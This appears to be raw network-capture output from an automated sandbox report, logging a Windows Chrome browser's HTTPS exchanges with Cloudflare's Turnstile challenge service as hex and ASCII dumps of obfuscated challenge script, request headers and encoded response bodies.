2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 29 5d 28 32 2c 46 29 2c 49 3d 31 3b 4e 21 3d 49 3b 4f 3d 4b 26 4a 2c 4b 3e 3e 3d 31 2c 4b 3d 3d 30 26 26 28 4b 3d 6f 2c 4a 3d 64 5b 67 53 28 31 32 31 39 29 5d 28 73 2c 4c 2b 2b 29 29 2c 4d 7c 3d 28 64 5b 67 53 28 37 35 38 29 5d 28 30 2c 4f 29 3f 31 3a 30 29 2a 49 2c 49 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 50 3d 4d 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 67 53 28 31 30 39 34 29 5d 28 32 2c 38 29 2c 49 3d 31 3b 64 5b 67 53 28 31 34 32 32 29 5d 28 49 2c 4e 29 3b 4f 3d 4b 26 4a 2c 4b 3e 3e 3d 31 2c 4b 3d 3d 30 26 26 28 4b 3d 6f 2c 4a 3d 73 28 4c 2b 2b 29 29 2c 4d 7c 3d 64 5b 67 53 28 31 36 38 35 29 5d 28 64 5b 67 53 28 37 35 38 29 5d 28 30 2c 4f 29 3f 31 3a 30 2c 49 29 2c 49 3c 3c 3d 31 29 3b 43 5b 45 2b 2b 5d 3d 65 28 4d 29 Data Ascii: )](2,F),I=1;N!=I;O=K&J,K>>=1,K==0&&(K=o,J=d[gS(1219)](s,L++)),M\|=(d[gS(758)](0,O)?1:0)*I,I<<=1);switch(P=M){case 0:for(M=0,N=Math[gS(1094)](2,8),I=1;d[gS(1422)](I,N);O=K&J,K>>=1,K==0&&(K=o,J=s(L++)),M\|=d[gS(1685)](d[gS(758)](0,O)?1:0,I),I<<=1);C[E++]=e(M)
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 34 38 3e 6b 3f 42 2b 3d 43 5b 67 55 28 36 38 34 29 5d 28 69 5b 67 55 28 37 36 32 29 5d 28 6b 3e 3e 36 2c 31 39 32 29 29 3a 28 44 2b 3d 45 5b 67 55 28 36 38 34 29 5d 28 69 5b 67 55 28 37 36 32 29 5d 28 69 5b 67 55 28 31 30 33 36 29 5d 28 6b 2c 31 32 29 2c 32 32 34 29 29 2c 46 2b 3d 47 5b 67 55 28 36 38 34 29 5d 28 69 5b 67 55 28 39 31 31 29 5d 28 36 33 2e 34 31 26 6b 3e 3e 36 2e 33 32 2c 31 32 38 29 29 29 2c 48 2b 3d 49 5b 67 55 28 36 38 34 29 5d 28 69 5b 67 55 28 36 33 34 29 5d 28 6b 2c 36 33 29 7c 31 32 38 2e 38 37 29 29 29 3a 28 65 4d 5b 67 55 28 31 35 35 36 29 5d 5b 67 55 28 39 34 34 29 5d 28 29 2c 65 4d 5b 67 55 28 31 35 35 36 29 5d 5b 67 55 28 31 38 30 34 29 5d 28 29 2c 65 4d 5b 67 55 28 31 33 35 32 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 67 55 28 35 38 39 Data Ascii: 48>k?B+=C[gU(684)](i[gU(762)](k>>6,192)):(D+=E[gU(684)](i[gU(762)](i[gU(1036)](k,12),224)),F+=G[gU(684)](i[gU(911)](63.41&k>>6.32,128))),H+=I[gU(684)](i[gU(634)](k,63)\|128.87))):(eM[gU(1556)][gU(944)](),eM[gU(1556)][gU(1804)](),eM[gU(1352)]=!![],eM[gU(589
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 6e 75 65 3b 63 61 73 65 27 37 27 3a 69 66 28 21 45 29 72 65 74 75 72 6e 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 45 5b 67 56 28 31 36 31 35 29 5d 28 6b 5b 67 56 28 31 37 31 38 29 5d 28 27 76 5f 27 2b 65 4d 5b 67 56 28 31 34 32 38 29 5d 5b 67 56 28 31 38 37 35 29 5d 2b 27 3d 27 2c 6f 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 39 27 3a 78 3d 69 7c 7c 67 56 28 39 39 34 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 30 27 3a 42 3d 67 56 28 31 35 36 33 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 31 27 3a 44 3d 28 43 3d 7b 7d 2c 43 5b 67 56 28 31 33 35 35 29 5d 3d 65 4d 5b 67 56 28 31 34 32 38 29 5d 5b 67 56 28 31 33 35 35 29 5d 2c 43 5b 67 56 28 38 37 30 29 5d 3d 65 4d 5b 67 56 28 31 34 32 38 29 5d 5b 67 56 28 38 37 30 29 5d 2c Data Ascii: nue;case'7':if(!E)return;continue;case'8':E[gV(1615)](k[gV(1718)]('v_'+eM[gV(1428)][gV(1875)]+'=',o));continue;case'9':x=i\|\|gV(994);continue;case'10':B=gV(1563);continue;case'11':D=(C={},C[gV(1355)]=eM[gV(1428)][gV(1355)],C[gV(870)]=eM[gV(1428)][gV(870)],
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 2c 27 56 4d 75 68 65 27 3a 69 5b 67 5a 28 31 34 31 31 29 5d 7d 2c 69 5b 67 5a 28 31 34 39 38 29 5d 28 66 2c 67 5a 28 34 34 35 29 2c 66 75 6e 63 74 69 6f 6e 28 73 2c 68 30 29 7b 68 30 3d 67 5a 2c 73 5b 68 30 28 31 37 30 31 29 5d 2b 3d 68 30 28 36 35 30 29 2b 6f 5b 68 30 28 31 31 33 38 29 5d 28 69 2c 6a 29 2b 6f 5b 68 30 28 31 35 34 35 29 5d 7d 29 29 3a 65 4d 5b 67 5a 28 31 31 36 37 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6c 3d 7b 7d 2c 6c 5b 67 59 28 31 30 32 38 29 5d 3d 64 2c 6c 5b 67 59 28 34 37 32 29 5d 3d 65 2c 6c 5b 67 59 28 31 33 30 39 29 5d 3d 66 2c 6c 5b 67 59 28 31 38 37 31 29 5d 3d 67 2c 6c 5b 67 59 28 31 37 36 37 29 5d 3d 68 2c 6d 3d 6c 2c 65 4d 5b 67 59 28 38 32 36 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 31 29 7b 68 31 3d 67 59 2c 65 4d 5b 68 31 28 Data Ascii: ,'VMuhe':i[gZ(1411)]},i[gZ(1498)](f,gZ(445),function(s,h0){h0=gZ,s[h0(1701)]+=h0(650)+o[h0(1138)](i,j)+o[h0(1545)]})):eM[gZ(1167)]()},1e3):(l={},l[gY(1028)]=d,l[gY(472)]=e,l[gY(1309)]=f,l[gY(1871)]=g,l[gY(1767)]=h,m=l,eM[gY(826)](function(h1){h1=gY,eM[h1(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49739	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:37 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1217350448:1733764300:zvHUnKjOCxwAgch-M913R2tM8mD1gJ3EVo_4ePpgicY/8ef6c96199b00fa1/2axRlM8K45EWtO8TzXqLTkRi3Arai34899td5._XtdE-1733766093-1.1.1.1-OdzvnEQ8SyL0GCsJS1G2sdj0PQ3PjMMmAQr2GdyUfGyLh3H5W0rTPAiNuAP_i4g0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3389 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 2axRlM8K45EWtO8TzXqLTkRi3Arai34899td5._XtdE-1733766093-1.1.1.1-OdzvnEQ8SyL0GCsJS1G2sdj0PQ3PjMMmAQr2GdyUfGyLh3H5W0rTPAiNuAP_i4g0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:37 UTC	3389	OUT	Data Raw: 76 5f 38 65 66 36 63 39 36 31 39 39 62 30 30 66 61 31 3d 30 7a 75 25 32 62 53 2b 39 2b 45 2b 4a 2b 6f 2b 64 69 57 42 69 57 32 36 2b 48 78 43 67 54 2d 78 51 46 4f 57 4b 34 57 53 68 2b 72 5a 57 59 2b 54 7a 57 41 57 33 51 34 57 2d 74 76 2b 53 34 57 56 2b 2d 79 24 32 57 47 51 2b 57 2d 4a 48 57 39 35 32 57 54 68 72 35 67 34 70 2b 76 57 55 30 57 39 4c 76 5a 68 32 78 72 56 57 38 2b 51 6c 59 7a 5a 6b 4f 5a 53 4a 24 2b 57 56 57 34 2b 4a 64 49 5a 43 44 70 6a 6d 53 71 34 50 45 41 4c 65 57 4a 4c 6b 51 34 2b 72 24 5a 47 31 35 62 75 75 75 37 41 78 75 35 37 75 34 72 6d 78 4c 6e 30 68 6f 57 75 55 69 75 57 72 62 57 51 55 41 6e 53 37 54 46 68 57 6f 57 6a 32 34 73 2d 70 79 57 48 65 72 77 64 6f 7a 58 57 51 6f 57 54 75 57 38 2b 24 6c 6b 58 31 56 37 51 75 79 36 46 34 7a 2b 47 Data Ascii: v_8ef6c96199b00fa1=0zu%2bS+9+E+J+o+diWBiW26+HxCgT-xQFOWK4WSh+rZWY+TzWAW3Q4W-tv+S4WV+-y$2WGQ+W-JHW952WThr5g4p+vWU0W9LvZh2xrVW8+QlYzZkOZSJ$+WVW4+JdIZCDpjmSq4PEALeWJLkQ4+r$ZG15buuu7Axu57u4rmxLn0hoWuUiuWrbWQUAnS7TFhWoWj24s-pyWHerwdozXWQoWTuW8+$lkX1V7Quy6F4z+G
2024-12-09 17:41:37 UTC	747	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:37 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149568 Connection: close cf-chl-gen: 71UayqnWJO+jJagARzQ2zICdgnqp1GV34QRT0p8bwT9Xycz1vpErowITLqJmOR9jSkiI3SfQcNnshE9arUO3mbktgSq6HI4D05wJS8ZkkGswkTHm7vg3Wijs8Bn5MKOARIDVkmOhq3zNi/p+oTpjPYl9C9wE5gRSWtdSfIgSeuLu8fgnJczX4kB4bZ6/2E8KRxDlYpXeejiPdGyM9PYYRD0NgKId0tEZpBpaW9I2LDcvCQG0sec6AdcnFvCa1TczYqVreT/Bl2FMSLrKu2NXqT7H4g7qf1e9dhOaUth2uaOxNZSgFsPbxQn54JjwUH8PNkU8Qjx3nYYAeJJ3RIsWpoWtIR5gGqX1+HVaP4MpqsoNYbis5ws+MaKz/HSi2UEC/s90Y5goZvQr/KxBTGXZ60cuU3PWu6HuC0S2TlLTje2h52/m8NtwIiLtK0DW7y3L7PmT2Iz69VHY9W+T9KMMxZEmzF0x46UH+PVokHaf977560Q=$DYGPgwJB/CScwGUS Server: cloudflare CF-RAY: 8ef6c97cadd05e6d-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:37 UTC	622	IN	Data Raw: 75 4b 36 77 6f 4a 2b 57 6e 36 75 70 77 4d 72 4d 71 36 69 78 79 38 33 50 78 36 54 55 6d 4d 4c 58 75 4a 50 52 74 4d 37 53 6d 64 75 35 72 39 79 68 78 4a 76 6b 34 2b 6e 4e 72 62 75 76 75 64 76 6d 39 4d 37 79 78 72 4c 6d 78 50 58 77 7a 39 54 57 37 4c 2b 39 37 74 6a 36 35 77 6a 77 2b 77 62 65 33 75 41 4a 7a 51 62 36 36 51 6e 52 41 4e 51 4a 47 68 62 78 43 74 6a 64 39 74 33 34 41 39 76 62 32 69 45 67 42 64 34 6c 4a 41 4d 74 34 2b 77 47 37 4f 4d 48 38 51 30 74 37 7a 6a 31 2b 53 7a 34 42 78 51 76 4e 42 64 44 39 43 38 2f 4d 55 41 65 53 6a 5a 45 49 6b 30 4f 4b 55 59 71 4d 77 78 41 51 44 63 53 4e 30 45 70 55 6a 4a 51 4f 30 6b 34 4c 56 46 4f 4f 69 35 51 4a 47 52 6a 4b 46 4e 72 5a 30 46 46 57 57 77 77 5a 44 35 56 4d 6b 4a 43 63 46 63 79 63 56 31 4c 53 58 31 62 61 31 52 Data Ascii: uK6woJ+Wn6upwMrMq6ixy83Px6TUmMLXuJPRtM7Smdu5r9yhxJvk4+nNrbuvudvm9M7yxrLmxPXwz9TW7L+97tj65wjw+wbe3uAJzQb66QnRANQJGhbxCtjd9t34A9vb2iEgBd4lJAMt4+wG7OMH8Q0t7zj1+Sz4BxQvNBdD9C8/MUAeSjZEIk0OKUYqMwxAQDcSN0EpUjJQO0k4LVFOOi5QJGRjKFNrZ0FFWWwwZD5VMkJCcFcycV1LSX1ba1R
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 4a 35 57 70 5a 76 6b 6e 31 38 6c 35 79 51 57 32 4b 67 59 71 47 67 58 36 70 2b 6f 4b 57 72 71 59 64 39 71 6f 61 4a 69 4a 53 76 74 34 32 37 74 34 2b 6c 64 35 79 67 6a 37 79 72 65 34 4e 2f 6e 37 79 64 73 36 6e 4c 71 61 6d 70 6e 37 71 4e 31 4b 62 41 6a 4c 43 54 7a 72 76 59 74 39 36 39 76 37 50 50 32 4c 66 65 6d 35 37 67 73 39 32 36 33 38 6e 5a 7a 38 54 64 38 64 36 38 7a 4b 37 71 79 63 6e 6f 7a 73 2f 4b 75 38 36 32 37 39 50 39 30 4e 2f 54 77 64 2f 45 78 38 62 65 32 74 2f 73 44 41 6f 4a 44 50 41 55 39 76 41 50 35 74 6a 57 42 77 6f 4f 32 75 38 61 2b 66 6a 30 34 50 58 36 46 43 4d 41 4b 4f 72 34 36 69 6b 6f 45 41 77 52 45 2b 73 41 4a 75 37 77 4b 76 59 34 39 53 34 51 43 76 63 79 4f 51 48 37 4e 6a 31 41 41 44 70 42 48 67 51 2b 52 45 67 49 51 6b 67 6d 44 45 5a 4c 56 Data Ascii: J5WpZvkn18l5yQW2KgYqGgX6p+oKWrqYd9qoaJiJSvt427t4+ld5ygj7yre4N/n7yds6nLqampn7qN1KbAjLCTzrvYt969v7PP2Lfem57gs92638nZz8Td8d68zK7qycnozs/Ku86279P90N/Twd/Ex8be2t/sDAoJDPAU9vAP5tjWBwoO2u8a+fj04PX6FCMAKOr46ikoEAwRE+sAJu7wKvY49S4QCvcyOQH7Nj1AADpBHgQ+REgIQkgmDEZLV
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 38 6a 6e 52 73 6e 34 78 68 6d 34 4f 55 5a 5a 4e 32 59 32 57 6f 6f 49 53 63 69 71 32 47 69 6e 47 72 67 62 53 77 71 6e 65 34 6a 72 62 41 76 4a 4b 36 76 72 4b 41 6c 5a 32 69 6d 4d 4f 63 72 72 6d 61 72 74 47 4f 6e 4c 4f 50 6b 39 43 6a 75 70 69 38 72 39 69 58 32 4d 47 75 73 72 4b 67 6e 63 48 58 70 63 62 6a 76 36 6a 4b 32 73 65 75 7a 71 54 70 73 74 4b 6f 78 37 62 57 75 75 54 76 74 38 66 7a 36 38 33 38 32 77 44 57 31 4e 44 66 77 77 58 68 34 2b 72 6a 7a 51 45 46 36 64 38 45 35 4f 51 50 38 78 48 75 30 78 44 75 45 51 6b 65 45 4e 37 35 39 78 38 61 2b 78 6a 33 45 77 30 45 48 79 72 39 4b 43 4d 4d 37 7a 55 6a 4c 51 50 7a 44 66 49 62 39 42 4d 51 43 6a 4d 56 49 42 63 42 4e 42 45 49 4a 6b 44 38 4e 77 5a 4a 54 53 4d 67 4a 46 4a 4f 48 30 35 55 51 6a 67 69 57 46 51 50 4e 6c Data Ascii: 8jnRsn4xhm4OUZZN2Y2WooISciq2GinGrgbSwqne4jrbAvJK6vrKAlZ2imMOcrrmartGOnLOPk9Cjupi8r9iX2MGusrKgncHXpcbjv6jK2seuzqTpstKox7bWuuTvt8fz68382wDW1NDfwwXh4+rjzQEF6d8E5OQP8xHu0xDuEQkeEN759x8a+xj3Ew0EHyr9KCMM7zUjLQPzDfIb9BMQCjMVIBcBNBEIJkD8NwZJTSMgJFJOH05UQjgiWFQPNl
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 6e 34 46 36 6b 36 4f 46 66 70 5a 39 62 36 2b 69 6a 6f 79 73 70 59 53 57 6b 48 47 30 74 35 61 72 71 70 32 75 77 62 75 6b 75 58 37 46 72 35 74 37 74 61 69 55 79 63 47 33 6a 71 65 76 73 64 53 6a 73 61 47 72 30 73 79 30 30 74 6d 73 77 4d 2f 4c 76 4e 43 2f 73 37 4c 63 78 37 76 59 32 4e 76 63 31 75 2b 76 36 4d 43 38 77 65 6d 30 32 4c 58 68 30 2b 66 4a 31 66 33 6f 74 75 37 78 30 2f 6e 69 7a 76 59 46 2b 74 77 49 33 2f 58 46 45 41 4c 72 2b 67 41 47 78 39 50 31 43 4e 6e 73 42 77 55 53 31 66 4c 2b 38 43 45 44 44 68 58 6a 35 66 6f 4b 4a 4f 6f 61 46 78 67 52 37 52 49 4d 35 51 49 4f 4e 68 63 6a 49 7a 45 75 39 52 34 73 4e 69 73 5a 50 68 63 34 4d 42 4d 55 49 44 31 42 4c 55 42 47 44 45 30 74 55 6b 30 6c 44 53 42 55 54 68 4e 4b 4f 6a 45 64 53 42 5a 62 4c 55 70 56 49 30 46 Data Ascii: n4F6k6OFfpZ9b6+ijoyspYSWkHG0t5arqp2uwbukuX7Fr5t7taiUycG3jqevsdSjsaGr0sy00tmswM/LvNC/s7Lcx7vY2Nvc1u+v6MC8wem02LXh0+fJ1f3otu7x0/nizvYF+twI3/XFEALr+gAGx9P1CNnsBwUS1fL+8CEDDhXj5foKJOoaFxgR7RIM5QIONhcjIzEu9R4sNisZPhc4MBMUID1BLUBGDE0tUk0lDSBUThNKOjEdSBZbLUpVI0F
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 33 32 42 72 35 32 77 68 61 36 6c 67 71 36 70 68 48 57 51 74 49 75 65 72 4a 75 36 6e 5a 75 66 6f 48 79 64 6c 4c 6d 31 70 4a 71 69 79 49 32 64 77 34 69 65 72 49 75 39 70 4a 2f 43 32 64 48 45 75 4b 66 66 74 4e 7a 62 33 63 43 73 30 37 72 6a 75 64 62 42 76 74 6e 46 79 62 71 76 33 2f 48 46 72 50 4b 2f 37 64 48 61 74 2b 2f 64 74 64 4c 33 41 65 7a 61 2f 50 36 37 2b 39 48 63 34 76 37 37 33 75 37 35 32 75 34 53 7a 75 72 51 7a 66 66 68 31 66 59 56 42 74 6a 36 43 51 37 65 2f 75 48 7a 34 67 50 6b 48 75 59 48 36 50 76 71 43 2b 41 51 37 67 2f 6b 4b 76 49 54 36 41 41 69 43 77 73 57 4d 6a 77 35 4c 43 6f 74 45 44 42 41 49 79 51 59 4b 6a 6f 6f 44 42 63 62 4c 52 70 50 45 69 63 66 4c 45 64 4f 4c 69 63 74 45 31 45 56 4e 6a 64 67 49 47 41 39 56 7a 39 6b 52 7a 45 37 56 44 39 4a Data Ascii: 32Br52wha6lgq6phHWQtIuerJu6nZufoHydlLm1pJqiyI2dw4ierIu9pJ/C2dHEuKfftNzb3cCs07rjudbBvtnFybqv3/HFrPK/7dHat+/dtdL3Aeza/P67+9Hc4v773u752u4SzurQzffh1fYVBtj6CQ7e/uHz4gPkHuYH6PvqC+AQ7g/kKvIT6AAiCwsWMjw5LCotEDBAIyQYKjooDBcbLRpPEicfLEdOLictE1EVNjdgIGA9Vz9kRzE7VD9J
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 75 72 6b 4a 4b 45 73 36 75 79 64 35 68 39 69 6f 32 37 76 61 75 69 70 5a 72 47 6a 35 50 47 6b 34 4b 38 77 4d 71 6b 7a 63 65 4d 6b 74 4f 67 6b 72 57 51 7a 4c 4b 53 70 4a 71 32 75 72 69 68 76 4e 53 35 72 62 33 59 6e 39 54 69 77 62 66 45 71 71 69 71 35 4b 54 47 35 4e 4c 71 73 38 2f 7a 30 74 44 47 35 74 2f 73 76 4f 4c 77 39 65 37 33 30 66 58 49 30 74 7a 35 77 77 54 64 31 38 4c 5a 30 50 51 49 44 41 77 45 38 76 62 74 35 64 6b 58 31 66 33 31 2b 67 37 39 39 75 45 65 46 76 54 37 36 41 51 65 37 4f 77 76 48 41 72 37 49 53 30 50 4d 77 76 71 37 7a 63 50 4f 67 37 2b 45 77 2f 36 51 41 4c 32 41 55 4d 48 4f 55 67 2b 48 30 30 46 53 54 6b 36 43 55 38 39 56 51 31 52 51 55 46 59 56 68 70 46 58 6c 77 30 4d 78 68 65 58 54 63 6c 5a 56 77 2f 56 6a 35 46 4c 53 74 61 4b 6d 30 36 58 Data Ascii: urkJKEs6uyd5h9io27vauipZrGj5PGk4K8wMqkzceMktOgkrWQzLKSpJq2urihvNS5rb3Yn9TiwbfEqqiq5KTG5NLqs8/z0tDG5t/svOLw9e730fXI0tz5wwTd18LZ0PQIDAwE8vbt5dkX1f31+g799uEeFvT76AQe7OwvHAr7IS0PMwvq7zcPOg7+Ew/6QAL2AUMHOUg+H00FSTk6CU89VQ1RQUFYVhpFXlw0MxheXTclZVw/Vj5FLStaKm06X
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 61 74 72 57 31 75 6e 65 54 6d 35 65 33 73 4a 6d 75 73 36 4e 37 68 73 61 44 66 36 50 48 78 4a 72 45 6f 37 4b 50 79 37 47 72 72 73 36 71 33 4b 79 70 6e 62 75 74 75 37 61 74 73 4b 4b 2f 75 39 71 35 30 39 33 6c 37 36 48 62 37 4e 44 6e 72 75 2f 4c 36 73 62 69 2b 2b 76 4b 79 76 72 4f 7a 65 48 72 39 76 6e 6c 77 41 4c 37 77 67 54 34 31 51 58 34 45 4f 7a 52 36 75 37 4d 42 4f 7a 76 41 63 73 62 46 4e 77 49 33 67 73 68 46 42 6b 63 33 52 6f 6d 35 43 6b 4b 4b 53 41 66 49 66 6f 5a 36 43 6b 44 43 78 34 7a 37 50 41 53 46 69 38 6b 4a 68 6b 49 50 42 45 51 4d 68 59 68 44 78 6f 62 53 45 6f 61 4a 30 45 68 48 6a 77 72 4c 30 67 77 4b 43 42 49 52 43 70 49 52 45 51 74 53 6a 49 36 4d 30 78 63 50 6a 64 50 4e 69 68 6f 57 30 64 46 5a 56 34 39 54 30 6b 71 62 58 42 4e 52 45 68 54 55 6d Data Ascii: atrW1uneTm5e3sJmus6N7hsaDf6PHxJrEo7KPy7Grrs6q3Kypnbutu7atsKK/u9q5093l76Hb7NDnru/L6sbi++vKyvrOzeHr9vnlwAL7wgT41QX4EOzR6u7MBOzvAcsbFNwI3gshFBkc3Rom5CkKKSAfIfoZ6CkDCx4z7PASFi8kJhkIPBEQMhYhDxobSEoaJ0EhHjwrL0gwKCBIRCpIREQtSjI6M0xcPjdPNihoW0dFZV49T0kqbXBNREhTUm
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 73 70 36 63 76 4c 57 55 70 71 43 42 78 4d 65 6c 6e 71 48 50 6f 59 79 63 76 6f 36 66 6f 62 4c 50 74 36 50 48 70 6f 2b 65 79 5a 33 64 31 63 76 6c 75 38 50 47 32 72 2b 69 32 4f 53 70 32 65 33 52 77 63 72 76 35 4f 7a 52 33 2f 62 77 30 4e 6a 33 35 64 37 77 79 39 58 59 30 76 6a 46 2b 75 50 36 36 76 50 5a 78 4c 2f 46 41 74 6e 6d 2f 66 34 47 42 76 34 45 35 38 76 58 42 74 73 53 2b 41 38 65 39 41 7a 63 34 68 50 6d 4a 4f 45 4a 4a 2f 54 34 41 67 45 43 2f 75 77 6b 4c 53 76 30 4a 53 30 4f 42 2b 77 37 43 51 72 39 2b 76 73 42 46 6a 45 59 50 69 66 35 46 6a 49 39 52 55 59 64 50 53 6f 72 4d 41 35 56 4b 56 63 32 56 45 70 5a 4f 56 5a 58 4b 31 46 50 4d 53 4a 52 55 6a 41 37 52 32 4d 6e 5a 57 46 62 61 32 6b 2f 5a 32 74 66 4c 55 4a 4b 54 30 56 77 53 56 74 6d 52 31 74 2b 4f 31 56 Data Ascii: sp6cvLWUpqCBxMelnqHPoYycvo6fobLPt6PHpo+eyZ3d1cvlu8PG2r+i2OSp2e3Rwcrv5OzR3/bw0Nj35d7wy9XY0vjF+uP66vPZxL/FAtnm/f4GBv4E58vXBtsS+A8e9Azc4hPmJOEJJ/T4AgEC/uwkLSv0JS0OB+w7CQr9+vsBFjEYPif5FjI9RUYdPSorMA5VKVc2VEpZOVZXK1FPMSJRUjA7R2MnZWFba2k/Z2tfLUJKT0VwSVtmR1t+O1V
2024-12-09 17:41:37 UTC	1369	IN	Data Raw: 61 6d 34 68 6f 53 67 67 34 6d 66 71 59 37 4a 6f 38 33 57 31 63 2b 72 70 39 6a 45 73 36 65 70 72 4a 2f 52 34 62 62 61 6e 62 4c 59 76 62 75 33 78 37 72 75 37 4d 65 69 30 4b 75 72 70 75 33 41 39 4e 47 77 2b 66 50 4a 38 72 6d 39 74 75 2f 78 30 76 77 41 30 41 58 66 31 51 45 47 39 64 59 4b 2b 64 67 4a 38 52 54 66 34 52 4d 4e 38 42 49 59 36 42 55 63 33 66 76 38 34 42 63 4f 47 68 76 6a 4a 50 6a 6a 39 66 59 6a 41 79 67 52 48 76 45 49 43 51 58 73 45 76 45 45 47 76 55 30 44 42 50 32 2b 52 41 78 51 42 77 57 47 45 52 46 48 41 6b 69 42 41 6f 76 54 43 73 36 54 67 70 50 55 30 74 55 55 55 77 61 47 30 77 5a 4f 44 34 79 45 31 34 65 50 32 4e 63 56 6b 6b 35 52 45 4a 4d 50 54 5a 77 54 6b 52 65 4d 56 78 46 59 45 70 53 53 32 4e 4b 50 48 78 76 57 31 6c 35 63 6c 46 6a 58 54 36 42 Data Ascii: am4hoSgg4mfqY7Jo83W1c+rp9jEs6eprJ/R4bbanbLYvbu3x7ru7Mei0Kurpu3A9NGw+fPJ8rm9tu/x0vwA0AXf1QEG9dYK+dgJ8RTf4RMN8BIY6BUc3fv84BcOGhvjJPjj9fYjAygRHvEICQXsEvEEGvU0DBP2+RAxQBwWGERFHAkiBAovTCs6TgpPU0tUUUwaG0wZOD4yE14eP2NcVkk5REJMPTZwTkReMVxFYEpSS2NKPHxvW1l5clFjXT6B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49740	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:39 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1217350448:1733764300:zvHUnKjOCxwAgch-M913R2tM8mD1gJ3EVo_4ePpgicY/8ef6c96199b00fa1/2axRlM8K45EWtO8TzXqLTkRi3Arai34899td5._XtdE-1733766093-1.1.1.1-OdzvnEQ8SyL0GCsJS1G2sdj0PQ3PjMMmAQr2GdyUfGyLh3H5W0rTPAiNuAP_i4g0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:40 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 17:41:40 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: q52SjiN/apDTh9NiaiTkKCEAH/3hK0eps3g=$PxnkGarYsxRaiIJt Server: cloudflare CF-RAY: 8ef6c98cffa04322-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:40 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49741	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:39 UTC	812	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8ef6c96199b00fa1/1733766097531/3c1556456805cec06261fea5cd49ae21a31f255a700692ea9b772b9bb1cf13d6/hRGKLkag-0o1Umn HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49742	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
